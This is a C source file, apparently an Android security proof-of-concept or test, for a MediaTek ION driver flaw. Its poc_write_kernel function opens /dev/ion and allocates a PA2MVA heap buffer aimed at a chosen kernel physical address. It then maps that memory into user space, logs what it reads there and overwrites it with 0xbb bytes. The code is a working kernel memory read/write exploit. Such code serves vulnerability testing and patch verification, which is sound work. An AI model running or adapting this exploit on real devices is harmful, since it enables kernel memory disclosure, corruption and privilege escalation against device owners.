
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/uio.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <pthread.h>
#include <log/log.h>

#define FAIL_CHECK_ALOGE(condition, error_message) \
  if (!(condition)) { \
    ALOGE("Check failed: " #error_message " " #condition " Line: %d", \
            __LINE__); \
    exit(EXIT_FAILURE); \
  }

typedef unsigned int u32;
typedef unsigned long u64;

#define ION_IOC_MAGIC       'I'

#define _IOC_NRBITS 8
#define _IOC_TYPEBITS   8

/*
 * Let any architecture override either of the following before
 * including this file.
 */

#ifndef _IOC_SIZEBITS
# define _IOC_SIZEBITS  14
#endif

#ifndef _IOC_DIRBITS
# define _IOC_DIRBITS   2
#endif

#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)

#define _IOC_NRSHIFT    0
#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)

#ifndef _IOC_NONE
# define _IOC_NONE  0U
#endif

#ifndef _IOC_WRITE
# define _IOC_WRITE 1U
#endif

#ifndef _IOC_READ
# define _IOC_READ  2U
#endif

#define _IOC(dir,type,nr,size) \
    (((dir)  << _IOC_DIRSHIFT) | \
     ((type) << _IOC_TYPESHIFT) | \
     ((nr)   << _IOC_NRSHIFT) | \
     ((size) << _IOC_SIZESHIFT))

#ifndef __KERNEL__
#define _IOC_TYPECHECK(t) (sizeof(t))
#endif

/* used to create numbers */
#define _IO(type,nr)        _IOC(_IOC_NONE,(type),(nr),0)
#define _IOR(type,nr,size)  _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
#define _IOW(type,nr,size)  _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))


/* Structure definitions */

enum ION_CMDS {
    ION_CMD_SYSTEM,
    ION_CMD_MULTIMEDIA,
    ION_CMD_MULTIMEDIA_SEC
};

struct ion_custom_data {
    unsigned int cmd;
    unsigned long arg;
};

struct ion_fd_data {
    int handle;
    int fd;
};

struct ion_allocation_data {
    size_t len;
    size_t align;
    unsigned int heap_id_mask;
    unsigned int flags;
    int handle;
};

struct ion_handle_data {
    int handle;
};

struct ion_heap_query {
    __u32 cnt; /* Total number of heaps to be copied */
    __u32 reserved0; /* align to 64bits */
    __u64 heaps; /* buffer to be populated */
    __u32 reserved1;
    __u32 reserved2;
};

enum ION_CACHE_SYNC_TYPE {
    ION_CACHE_CLEAN_BY_RANGE,
    ION_CACHE_INVALID_BY_RANGE,
    ION_CACHE_FLUSH_BY_RANGE,
    ION_CACHE_CLEAN_BY_RANGE_USE_VA,
    ION_CACHE_INVALID_BY_RANGE_USE_VA,
    ION_CACHE_FLUSH_BY_RANGE_USE_VA,
    ION_CACHE_CLEAN_ALL,
    ION_CACHE_INVALID_ALL,
    ION_CACHE_FLUSH_ALL
};

enum ION_SYS_CMDS {
    ION_SYS_CACHE_SYNC,
    ION_SYS_GET_PHYS,
    ION_SYS_GET_CLIENT,
    ION_SYS_SET_HANDLE_BACKTRACE,
    ION_SYS_SET_CLIENT_NAME,
    ION_SYS_DMA_OP,
};

struct ion_sys_cache_sync_param {
    union {
        int handle;
        void *kernel_handle;
    };
    void *va;
    unsigned int size;
    enum ION_CACHE_SYNC_TYPE sync_type;
};

struct ion_sys_get_phys_param {
    union {
        int handle;
        void *kernel_handle;
    };
    unsigned int phy_addr;
    unsigned long len;
};

struct ion_sys_get_client_param {
    unsigned int client;
};

#define ION_MM_DBG_NAME_LEN 48
#define ION_MM_SF_BUF_INFO_LEN 16

struct ion_sys_client_name {
    char name[ION_MM_DBG_NAME_LEN];
};

#define BACKTRACE_SIZE 10

struct ion_sys_record_param {
    pid_t group_id;
    pid_t pid;
    unsigned int action;
    unsigned int address_type;
    unsigned int address;
    unsigned int length;
    unsigned int backtrace[BACKTRACE_SIZE];
    unsigned int backtrace_num;
    void *handle;
    void *client;
    void *buffer;
    void *file;
    int fd;
};

enum ION_DMA_TYPE {
    ION_DMA_MAP_AREA,
    ION_DMA_UNMAP_AREA,
    ION_DMA_MAP_AREA_VA,
    ION_DMA_UNMAP_AREA_VA,
    ION_DMA_FLUSH_BY_RANGE,
    ION_DMA_FLUSH_BY_RANGE_USE_VA,
    ION_DMA_CACHE_FLUSH_ALL
};

enum ION_DMA_DIR {
    ION_DMA_FROM_DEVICE,
    ION_DMA_TO_DEVICE,
    ION_DMA_BIDIRECTIONAL,
};

struct ion_dma_param {
    union {
        int handle;
        void *kernel_handle;
    };
    void *va;
    unsigned int size;
    enum ION_DMA_TYPE dma_type;
    enum ION_DMA_DIR dma_dir;
};

#define ION_IOC_CUSTOM      _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
#define ION_IOC_ALLOC       _IOWR(ION_IOC_MAGIC, 0, \
                      struct ion_allocation_data)

#define ION_IOC_MAP     _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
#define ION_IOC_SYNC        _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
#define ION_IOC_SHARE       _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)

struct ion_sys_data {
    enum ION_SYS_CMDS sys_cmd;
    union {
        struct ion_sys_cache_sync_param cache_sync_param;
        struct ion_sys_get_phys_param get_phys_param;
        struct ion_sys_get_client_param get_client_param;
        struct ion_sys_client_name client_name_param;
        struct ion_sys_record_param record_param;
        struct ion_dma_param dma_param;
    };
};

union ion_ioctl_arg {
    struct ion_fd_data fd;
    struct ion_allocation_data allocation;
    struct ion_handle_data handle;
    struct ion_custom_data custom;
    struct ion_heap_query query;
};

enum mtk_ion_heap_type {
    ION_HEAP_TYPE_MULTIMEDIA = 10,
    ION_HEAP_TYPE_FB = 11,
    ION_HEAP_TYPE_MULTIMEDIA_FOR_CAMERA = 12,
    ION_HEAP_TYPE_MULTIMEDIA_SEC = 13,
    ION_HEAP_TYPE_MULTIMEDIA_MAP_MVA = 14,
    ION_HEAP_TYPE_MULTIMEDIA_PA2MVA = 15,
    ION_HEAP_TYPE_MULTIMEDIA_PROT = 16,
    ION_HEAP_TYPE_MULTIMEDIA_2D_FR = 17,
    ION_HEAP_TYPE_MULTIMEDIA_WFD = 18,
/* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */
};


/*
 * mappings of this buffer should be cached, ion will do cache maintenance
 * when the buffer is mapped for dma
 */
#define ION_FLAG_CACHED 1

/*
 * mappings of this buffer will created at mmap time, if this is set
 * caches must be managed manually
 */
#define ION_FLAG_CACHED_NEEDS_SYNC 2


/*
struct ion_client {
    struct rb_node node;
    struct ion_device *dev;
    struct rb_root handles;
    struct idr idr;
    struct mutex lock;
    const char *name;
    char *display_name;
    int display_serial;
    struct task_struct *task;
    pid_t pid;
    struct dentry *debug_root;
    char dbg_name[ION_MM_DBG_NAME_LEN];
};
*/
// "dev" offset inside ion_client
#define ion_device_OFF 12

/*

struct ion_device {
    struct miscdevice dev;
    struct rb_root buffers;
    struct mutex buffer_lock;
    struct rw_semaphore lock;
    struct plist_head heaps;
    long (*custom_ioctl)(struct ion_client *client, unsigned int cmd,
                  unsigned long arg);
    struct rb_root clients;
    struct dentry *debug_root;
    struct dentry *heaps_debug_root;
    struct dentry *clients_debug_root;
};

*/

//"custom_ioctl" offset inside
#define custom_ioctl_OFF 100

int g_fd = -1;

#define MMAP_SIZE 4096
//#define PAGE_SIZE 4096

int alloc_handle(int type, unsigned long kernel_obj_addr) {

    union ion_ioctl_arg iia;
    memset(&iia, 0, sizeof(iia));

    iia.allocation.len = MMAP_SIZE;
    iia.allocation.align = kernel_obj_addr;
    iia.allocation.heap_id_mask = 1 << type;
    iia.allocation.flags = ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC;

    FAIL_CHECK_ALOGE(ioctl(g_fd, ION_IOC_ALLOC, (unsigned long)&iia) >= 0, ION_IOC_ALLOC);
    ALOGE("ION_IOC_ALLOC success");
    return iia.allocation.handle;
}

int poc_write_kernel() {

    g_fd = open("/dev/ion", 0x80000);
    FAIL_CHECK_ALOGE (g_fd >= 0, failed to open ion);
    ALOGE("[+] open /dev/ion");

    int handle = alloc_handle(ION_HEAP_TYPE_MULTIMEDIA_PA2MVA, 0x40080000);

    FAIL_CHECK_ALOGE(handle >= 0, alloc_handle failed);

    union ion_ioctl_arg iia;
    memset(&iia, 0, sizeof(iia));

    iia.fd.handle = handle;

    FAIL_CHECK_ALOGE (ioctl(g_fd, ION_IOC_SHARE, (unsigned long)&iia) >= 0, ION_IOC_SHARE);
    ALOGE("ION_IOC_SHARE handle success");

    int dma_fd = iia.fd.fd;

    char *re_buf = (char*) mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0);
    FAIL_CHECK_ALOGE ((void *)re_buf != MAP_FAILED, mmap);

    ALOGE("re_buf addr:%p", re_buf);
    ALOGE("re_buf[0]:%x", re_buf[0]);

    unsigned long read_num = 0;
    int counter = 0;
    unsigned long *read_buf = (unsigned long *)re_buf;
    for (read_num = 0; read_num < MMAP_SIZE/sizeof(unsigned long); read_num++) {
        if (read_buf[read_num]) {
            //reduce number of log messages
            if(counter++ % 8 == 0){
              ALOGE("read_buf[%lu]:0x%lx", read_num, read_buf[read_num]);
            }
        }
    }
    ALOGE("read_num = %lu", read_num);
    ALOGE("non zero = %d", counter);

    memset(re_buf, 0xbb, MMAP_SIZE);
    munmap(re_buf, MMAP_SIZE);
    close(dma_fd);
    close(g_fd);

    return 0;
}

int main() {
    poc_write_kernel();
    ALOGE("test end");
    return 0;
}
